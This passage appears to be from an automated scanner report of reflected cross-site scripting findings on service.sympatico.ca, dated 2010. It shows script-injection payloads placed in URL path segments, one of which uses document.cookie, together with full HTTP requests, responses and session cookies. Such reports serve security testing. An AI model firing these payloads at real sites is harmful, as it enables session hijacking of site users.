Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js1e6b4"><script>alert(1)</script>0ba268edd5c/jquery.autocomplete.js" />
...[SNIP]...

2.268. https://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 555a5"><script>alert(1)</script>ea4ec36c1b5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.autocomplete.js555a5"><script>alert(1)</script>ea4ec36c1b5 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:03 GMT
Connection: close
Set-Cookie: SMSESSION=Qu8tOc7C7o9qgHQgfEdOvL8XoNFXIdsg8ZDrhg0eigM/OXJkSi0IyY45FJC6JN/3WeTGmC1lW9XzSI12X/jYo8VuUx1+f9I8J33pjvPwq09V92CQ9pfVoJvLaZOe/gPK5di8IRCD4Pgv+Scn5vWllsxDYNQVRuN1s8SGCh+aMG2baZejJ4LkbjNSbO8Ix8Er02IEtio8+mlGinjlowGIfirjpRm5aAzCLZvZXszeen3PEw7TbJrzDDFjromi3LpSqD7/JvP7H2h23r/c8X0dkNzttg1ZO8CfxnBVeajTdayvuyiMBaenEw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:04 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
me="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.autocomplete.js555a5"><script>alert(1)</script>ea4ec36c1b5" />
...[SNIP]...

2.269. https://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.blockUI.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b165"><script>alert(1)</script>52e97dde8a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js9b165"><script>alert(1)</script>52e97dde8a6/jquery.blockUI.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:41 GMT
Connection: close
Set-Cookie: SMSESSION=A2mfAsCqfrtGwAmoQAzx9ypKL2tYOnetA779bdGHvnBdrnHoyvy0aQKymMJlJ1oT3vQEyr73qTKFYH0N2fq/lXXJcFCdAltuAkvVZ9EmemSJDwLdIu99Z5Ob2qm16MZIFc2J2sRxvAt06y8911eiJLU9hvmIG3jznFCoj/uGZaThmknzO6zHVZPYNx0m04ukQWlP7gWeLJXxDnQuBvmrqbCaFyROybBmTcRdXwJ4kJv6EKRpM2UE4aWIaBtMrA4e8YWB1WH2QvaY+fFe9q9dUMtpq5gP2rpPEf3ApEeKJ9KOSyx7lENUSw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:41 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:41 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js9b165"><script>alert(1)</script>52e97dde8a6/jquery.blockUI.js" />
...[SNIP]...

2.270. https://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.blockUI.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f5c6"><script>alert(1)</script>fc5daf893df was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.blockUI.js7f5c6"><script>alert(1)</script>fc5daf893df HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:44 GMT
Connection: close
Set-Cookie: SMSESSION=nefwOVNVPl0c7vO6HckexDBr4pB9pHT7jWxTdE1rxucvy90kzVfePEK0lWHpgWVbDZllCWbDDdQQ25U8/+iyez0dOfj2zYJfWXUJ8FB9rNlmkDmHP4RDjI0bRUf/KasJAWvIVRz3ZPliW8M5UB5oZqcuhOdNpKOwceaB7PxdrXPjzgcHlqCiDpvIF6nT3w68mBnKgisLM0JTv3tZ5LDCIktmayokT7b3DxoVIlY2Q8pJGnmGOxgldFA/W+kBJWgP6p0HTCeppI920YIjJDmA1+1EoqlySajp1i5ddKJMRCoIesDtEhsYfw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
